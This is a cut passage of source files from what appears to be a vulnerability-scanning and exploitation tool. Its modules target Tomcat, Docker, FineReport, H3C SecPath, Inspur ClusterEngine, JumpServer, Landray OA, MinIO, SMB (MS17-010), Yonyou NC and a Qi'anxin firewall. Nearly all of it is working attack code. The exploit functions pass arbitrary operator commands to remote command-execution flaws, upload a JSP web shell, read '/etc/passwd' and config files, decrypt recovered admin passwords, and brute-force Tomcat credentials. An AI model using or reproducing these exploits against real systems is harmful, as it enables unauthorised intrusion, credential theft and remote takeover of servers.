", resp.content.replace(b'\x00', b''), re.DOTALL)[0].decode() 22 | else: 23 | return False 24 | 25 | def exp(vuln: VulnScan, cmd, content=""): 26 | result = rce(vuln.url, cmd) 27 | if not result: 28 | upload_war(vuln.url, vuln.specify) 29 | result = rce(vuln.url, cmd) 30 | return "shell地址: \n%s" % f"{vuln.url}/zs/zs.jsp\n输出结果:\n" + str(result) -------------------------------------------------------------------------------- /vulscan_Project/modules/burp_tomcat_poc.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import time 3 | 4 | from vulscan_Project import requestUtil 5 | from .. import fileUtil 6 | 7 | 8 | def tomcat_poc(url): 9 | with fileUtil.open_file("dict_tomcat/dic_tomcat_key.txt", "r") as f: 10 | for i in f.readlines(): 11 | authorized_key = i.strip() 12 | resp = requestUtil.get(url + "/manager/html", header={ 13 | "Authorization": "Basic %s" % (base64.b64encode(authorized_key.encode()).decode())}) 14 | if "Tomcat Host Manager Application" in resp.text: 15 | return (["tomcat弱密码", "用户名：%s
密码：%s" % (authorized_key.split(":")[0], authorized_key.split(":")[-1])], (base64.b64encode(authorized_key.encode()).decode())) 16 | return [] 17 | 18 | 19 | def fingerprint(service): 20 | if not "Apache-Coyote" in service.server: 21 | return False 22 | else: 23 | try: 24 | resp = requestUtil.get(service.url +"/manager/html") 25 | if not resp.status_code == 401: 26 | raise Exception 27 | else: 28 | return True 29 | except: 30 | return False 31 | 32 | 33 | def poc(service): 34 | return tomcat_poc(service.url) 35 | -------------------------------------------------------------------------------- /vulscan_Project/modules/docker_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # docker未授权 3 | 4 | from .. import requestUtil 5 | 6 | def docker_poc(url): 7 | resp = requestUtil.get(url) 8 | if resp.status_code == 200: 9 | return ["docker未授权", "docker remote api未授权"] 10 | else: 11 | return [] 12 | 13 | def fingerprint(service): 14 | if service.port == 2375: 15 | return True 16 | 17 | def poc(service): 18 | return docker_poc("http://%s:%s/info"%(service.ip, service.port)) -------------------------------------------------------------------------------- /vulscan_Project/modules/fineport_v8_file_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 帆软报表8.0 任意文件读取 3 | 4 | from VulnScanModel.models import VulnScan 5 | from . import fineport_v8_file_poc 6 | 7 | 8 | def exp(vuln: VulnScan, cmd, content=""): 9 | return fineport_v8_file_poc.fineport_file_poc(vuln.url, cmd, "exp") -------------------------------------------------------------------------------- /vulscan_Project/modules/fineport_v8_file_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 帆软报表8.0 任意文件读取 3 | import re 4 | 5 | from .. import requestUtil 6 | from ServiceScanModel.models import ServiceScan 7 | 8 | 9 | def fineport_file_poc(url, filename="privilege.xml", type="poc"): 10 | resp = requestUtil.get(url + "/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=%s" % filename) 11 | if type == "poc": 12 | info_list = (re.findall("", resp.text))[:2] 13 | return (info_list[0], decrypt(info_list[1])) 14 | else: 15 | return resp.text 16 | 17 | 18 | def decrypt(cipher): 19 | PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码 20 | password = "" 21 | cipher = cipher[3:] # 截断三位后 22 | for i in range(int(len(cipher) / 4)): 23 | c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16) 24 | c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] 25 | password = password + chr(c2) 26 | return password 27 | 28 | 29 | def fingerprint(service): 30 | try: 31 | if service.url: 32 | resp = requestUtil.get(service.url + "/WebReport/ReportServer") 33 | if "部署页面" in resp.text: 34 | return True 35 | except: 36 | return False 37 | 38 | 39 | def poc(service: ServiceScan): 40 | try: 41 | result = fineport_file_poc(service.url) 42 | if result: 43 | return ["帆软报表8.0 任意文件读取", "用户名: %s
密码: %s" % (result[0], result[1])] 44 | except: 45 | return [] 46 | -------------------------------------------------------------------------------- /vulscan_Project/modules/h3c_secparth_rce_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # H3C SecParh堡垒机远程命令执行 3 | import requests 4 | 5 | from VulnScanModel.models import VulnScan 6 | from . import h3c_secparth_rce_poc 7 | 8 | 9 | def exp(vuln: VulnScan, cmd, content=""): 10 | session = requests.session() 11 | h3c_secparth_rce_poc.login(vuln.url, session) 12 | return h3c_secparth_rce_poc.rce(vuln.url, session, cmd) 13 | -------------------------------------------------------------------------------- /vulscan_Project/modules/h3c_secparth_rce_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # H3C SecParh堡垒机远程命令执行 3 | import re 4 | 5 | import requests 6 | 7 | from .. import requestUtil, fileUtil 8 | from ServiceScanModel.models import ServiceScan 9 | 10 | session = requests.session() 11 | 12 | 13 | def login(url, session): 14 | resp = requestUtil.get( 15 | url + "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin", 16 | session=session) 17 | return True 18 | 19 | 20 | def rce(url, session, cmd="whoami"): 21 | resp = requestUtil.get( 22 | url + "/audit/data_provider.php?ds_y=2019&ds_m=04&ds_d=02&ds_hour=09&ds_min40&server_cond=&service=$(%s)&identity_cond=&query_type=all&format=json&browse=true" % cmd, 23 | session=session) 24 | if "--service=" in resp.text: 25 | return re.findall(r'--service=(.*?)"', resp.text)[0] 26 | else: 27 | return False 28 | 29 | 30 | def fingerprint(service): 31 | try: 32 | if service.url: 33 | resp = requestUtil.get(service.url) 34 | if "H3C SecPath 运维审计系统" in resp.text: 35 | return True 36 | except: 37 | return False 38 | 39 | 40 | def poc(service: ServiceScan): 41 | try: 42 | login(service.url, session) 43 | result = rce(service.url, session) 44 | if result: 45 | return ["H3C SecParh堡垒机远程命令执行", "当前用户: %s" % result] 46 | except Exception as e: 47 | print(e) 48 | return [] 49 | -------------------------------------------------------------------------------- /vulscan_Project/modules/inspur_rce_exp.py: -------------------------------------------------------------------------------- 1 | from VulnScanModel.models import VulnScan 2 | from . import inspur_rce_poc 3 | 4 | 5 | def exp(vuln: VulnScan, cmd, content=""): 6 | url = vuln.url 7 | result = inspur_rce_poc.sysShell_rce_test(url, vuln.specify, cmd) 8 | return result 9 | -------------------------------------------------------------------------------- /vulscan_Project/modules/inspur_rce_poc.py: -------------------------------------------------------------------------------- 1 | from .. import requestUtil 2 | 3 | 4 | import re 5 | 6 | import requests 7 | import warnings 8 | import json 9 | 10 | session = requests.session() 11 | warnings.filterwarnings("ignore") 12 | 13 | 14 | def get_nodes(url): 15 | resp = session.post(url+"/monNodelist?op=getNodeList", verify=False) 16 | if "node" in resp.text: 17 | node_info = json.loads(resp.text) 18 | return (node_info["nodes"]) 19 | else: 20 | return [""] 21 | 22 | 23 | def login_test(url): 24 | resp = session.post(url+"/login", data={"op":"login","username":"admin|pwd","password":""}, verify=False) 25 | if '"exitcode":0,' in resp.text: 26 | return True 27 | else: 28 | return False 29 | 30 | def login_rce_test(url): 31 | resp = session.post(url + "/login", data={"op": "login", "username": r"1 2\',\'1\'\); `whoami`"}, verify=False) 32 | if 'root' in resp.text: 33 | return True 34 | else: 35 | return False 36 | 37 | def sysShell_rce_test(url,node, cmd=""): 38 | resp = session.post(url + "/sysShell", data={"op": "doPlease", "node": node, "command": "cat /etc/passwd" if cmd == "" else cmd}, verify=False) 39 | if cmd == "": 40 | if 'root:x:0:0:root' in resp.text: 41 | return node 42 | else: 43 | return False 44 | else: 45 | return re.findall("
(.*)
", resp.text)[0].replace("
", "\n") 46 | 47 | 48 | 49 | def fingerprint(service): 50 | try: 51 | resp = requestUtil.get(service.url) 52 | if service.port == 8443 and "ClusterEngine V4.0" in resp.text or "module/login/login.html" in resp.text : 53 | return True 54 | except: 55 | pass 56 | 57 | def poc(service): 58 | result = ["", ""] 59 | try: 60 | if login_test(service.url): 61 | result[0] = "浪潮管理系统V4.0未授权" 62 | result[1] = "未授权登录" 63 | else: 64 | return [] 65 | if login_rce_test(service.url): 66 | result[0] = "浪潮管理系统V4.0RCE" 67 | result[1] += "
登录接口RCE" 68 | node = get_nodes(service.url)[0] 69 | specify = "" 70 | if node and sysShell_rce_test(service.url, node): 71 | result[0] = "浪潮管理系统V4.0RCE" 72 | result[1] += "
SysShell接口RCE" 73 | specify = node 74 | if not "RCE" in result[0]: 75 | result[2] = "warning" 76 | return (result, specify) 77 | except Exception as e: 78 | print(e) 79 | return [] 80 | 81 | 82 | -------------------------------------------------------------------------------- /vulscan_Project/modules/jumpserver_logs_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # JumpServer 日志接口未授权 3 | 4 | from .. import requestUtil 5 | from ServiceScanModel.models import ServiceScan 6 | import json 7 | import sys 8 | import time 9 | import asyncio 10 | import websockets 11 | import re 12 | from ws4py.client.threadedclient import WebSocketClient 13 | 14 | class ws_long(WebSocketClient): 15 | result = "" 16 | 17 | def opened(self): 18 | req = '{"task":"passer/../../../../../logs/gunicorn"}' 19 | self.send(req) 20 | 21 | def closed(self, code, reason=None): 22 | print("Closed down:", code, reason) 23 | 24 | def received_message(self, resp): 25 | resp = json.loads(str(resp)) 26 | # print(resp) 27 | data = resp['message'] 28 | self.close() 29 | self.result = data 30 | return data 31 | 32 | def get_results(self): 33 | return self.result 34 | 35 | def POC_1(target_url): 36 | try: 37 | ws = target_url.strip("http://") 38 | try: 39 | ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws)) 40 | ws.connect() 41 | ws.run_forever() 42 | return ws.get_results() 43 | except KeyboardInterrupt: 44 | ws.close() 45 | except Exception as e: 46 | print(e) 47 | return False 48 | 49 | def fingerprint(service): 50 | try: 51 | if "jumpserver" in service.title.lower() : 52 | return True 53 | except: 54 | return False 55 | 56 | def poc(service: ServiceScan): 57 | try: 58 | result = POC_1(service.url) 59 | print(service.url) 60 | if result: 61 | return ["JumpServer 日志接口未授权", "最近记录：
"+result.split("\n")[0]] 62 | except: 63 | return [] -------------------------------------------------------------------------------- /vulscan_Project/modules/landary_file_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 蓝凌OA 任意文件读取 3 | 4 | from VulnScanModel.models import VulnScan 5 | from . import landary_file_poc 6 | 7 | 8 | def exp(vuln: VulnScan, cmd, content=""): 9 | return landary_file_poc.read_file(vuln.url, cmd) -------------------------------------------------------------------------------- /vulscan_Project/modules/landary_file_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 蓝凌OA 任意文件读取 3 | import base64 4 | import re 5 | 6 | from Crypto.Cipher import DES 7 | 8 | from .. import requestUtil, fileUtil 9 | from ServiceScanModel.models import ServiceScan 10 | 11 | 12 | def read_file(url, filename="/WEB-INF/KmssConfig/admin.properties"): 13 | resp = requestUtil.post(url + "/sys/ui/extend/varkind/custom.jsp", data='var={"body":{"file":"%s"}}' % filename) 14 | return resp.text 15 | 16 | 17 | def descrypt(password): 18 | key = "kmssAdminKey"[:8].encode() 19 | des = DES.new(key=key, mode=DES.MODE_ECB) 20 | text = des.decrypt(base64.b64decode(password)) 21 | return text[:-text[-1]].decode() 22 | 23 | 24 | def fingerprint(service): 25 | try: 26 | if service.url: 27 | resp = requestUtil.get(service.url) 28 | if "蓝凌软件" in resp.text: 29 | return True 30 | except: 31 | return False 32 | 33 | 34 | def poc(service: ServiceScan): 35 | try: 36 | result = read_file(service.url) 37 | password = re.findall(r'password = (.*?)\r', result)[0] 38 | password = descrypt(password) 39 | return ["蓝凌OA 任意文件读取", "管理员密码: %s" % password] 40 | except: 41 | return [] 42 | -------------------------------------------------------------------------------- /vulscan_Project/modules/minio_ssrf_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # MinIO SSRF 3 | 4 | from .. import requestUtil 5 | from ServiceScanModel.models import ServiceScan 6 | 7 | 8 | def minio_ssrf_poc(url): 9 | resp = requestUtil.post(url + "/minio/webrpc", header={"Content-Type": "application/json"}, 10 | data='{"id":1,"jsonrpc":"2.0","params":{"type": "test"},"method":"Web.LoginSTS"}') 11 | print(resp.text) 12 | if "We encountered an internal error, please try again." in resp.text: 13 | return True 14 | 15 | def fingerprint(service): 16 | 17 | try: 18 | if service.url: 19 | resp = requestUtil.get(service.url + "/minio/login") 20 | if "MinIO Browser" in resp.text: 21 | return True 22 | except: 23 | return False 24 | 25 | 26 | def poc(service: ServiceScan): 27 | try: 28 | if minio_ssrf_poc(service.url): 29 | return ["MinIO SSRF", 'vuln path: /minio/webrpc
post data: {"id":1,"jsonrpc":"2.0","params":{"type" "test"},"method":"Web.LoginSTS"}'] 30 | except: 31 | return [] 32 | -------------------------------------------------------------------------------- /vulscan_Project/modules/ms17_010_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # MS17_010 3 | 4 | from .. import requestUtil 5 | from ServiceScanModel.models import ServiceScan 6 | 7 | def ms17_010_check(ip): 8 | import binascii, socket 9 | negotiate_protocol_request = binascii.unhexlify( 10 | "00000054ff534d42720000000018012800000000000000000000000000002f4b0000c55e003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200") 11 | session_setup_request = binascii.unhexlify( 12 | "00000063ff534d42730000000018012000000000000000000000000000002f4b0000c55e0dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000") 13 | try: 14 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | s.settimeout(0.5) 16 | s.connect((ip, 445)) 17 | s.send(negotiate_protocol_request) 18 | s.recv(1024) 19 | s.send(session_setup_request) 20 | data = s.recv(1024) 21 | user_id = data[32:34] 22 | # Python3 中重新实现了 bytes 和 string 这里需要对原来的 .encode('hex') 重新转换，这里设置为_hex 23 | ip_hex = bytes(ip, encoding='utf8') 24 | ip_hex = ''.join(['%02x' % b for b in ip_hex]) 25 | tree_connect_andx_request = "000000%xff534d42750000000018012000000000000000000000000000002f4b%sc55e04ff000000000001001a00005c5c%s5c49504324003f3f3f3f3f00" % ( 26 | (58 + len(ip)), user_id.hex(), ip_hex) 27 | print(tree_connect_andx_request) 28 | s.send(binascii.unhexlify(tree_connect_andx_request)) 29 | data = s.recv(1024) 30 | allid = data[28:36] 31 | payload = "0000004aff534d422500000000180128000000000000000000000000%s1000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00" % allid.hex() 32 | s.send(binascii.unhexlify(payload)) 33 | data = s.recv(1024) 34 | s.close() 35 | if b'\x05\x02\x00\xc0' in data: 36 | return True # 存在SMB远程溢出漏洞 37 | s.close() 38 | return False 39 | except: 40 | return False 41 | 42 | def fingerprint(service): 43 | try: 44 | if service.port == 445: 45 | return True 46 | except: 47 | return False 48 | 49 | def poc(service: ServiceScan): 50 | try: 51 | if ms17_010_check(service.ip): 52 | return ["MS17_010", "SMB远程缓冲区溢出"] 53 | except: 54 | return [] -------------------------------------------------------------------------------- /vulscan_Project/modules/nc_bsh_rce_exp.py: -------------------------------------------------------------------------------- 1 | # 用友OA_bshServlet命令执行 2 | import re 3 | 4 | from .. import requestUtil 5 | from . import nc_bsh_rce_poc 6 | 7 | 8 | def exp(service, cmd, content=""): 9 | return nc_bsh_rce_poc.bsh_rce(service.url, cmd, "exp") 10 | -------------------------------------------------------------------------------- /vulscan_Project/modules/nc_bsh_rce_poc.py: -------------------------------------------------------------------------------- 1 | # 用友OA_bshServlet命令执行 2 | import re 3 | 4 | from .. import requestUtil 5 | 6 | def bsh_rce(nc_url, cmd="whoami", type="poc"): 7 | try: 8 | resp = requestUtil.post(nc_url+"/servlet/~ic/bsh.servlet.BshServlet", data={"bsh.script":'exec("%s")'%cmd}) 9 | if "Script Output" in resp.text: 10 | cmd_output = re.findall('
(.*?)
', resp.text, re.DOTALL)[0].strip() 11 | if type == "poc": 12 | result = ["用友OA_BshServlet接口泄露", "cmd: whoami
output: "+cmd_output] 13 | else: 14 | result = cmd_output 15 | else: 16 | result = [] 17 | 18 | except: 19 | result = [] 20 | return result 21 | 22 | def fingerprint(service): 23 | if service.title == "YONYOU NC": 24 | return True 25 | 26 | def poc(service): 27 | return bsh_rce(service.url) 28 | -------------------------------------------------------------------------------- /vulscan_Project/modules/nete_firewall_exp.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 奇安信 网康下一代防火墙RCE 3 | 4 | from VulnScanModel.models import VulnScan 5 | from . import nete_firewall_poc 6 | 7 | 8 | def exp(vuln: VulnScan, cmd, content=""): 9 | return nete_firewall_poc.firewall_rce(vuln.url, cmd) -------------------------------------------------------------------------------- /vulscan_Project/modules/nete_firewall_poc.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # 奇安信 网康下一代防火墙RCE 3 | 4 | from .. import requestUtil, fileUtil 5 | from ServiceScanModel.models import ServiceScan 6 | 7 | data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;{cmd}>/var/www/html/passerW.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' 8 | 9 | 10 | def firewall_rce(url, cmd="whoami"): 11 | resp = requestUtil.post(url + "/directdata/direct/router", data=data.replace("{cmd}", cmd)) 12 | resp = requestUtil.get(url + "/passerW.txt") 13 | if resp.status_code == 200 and not "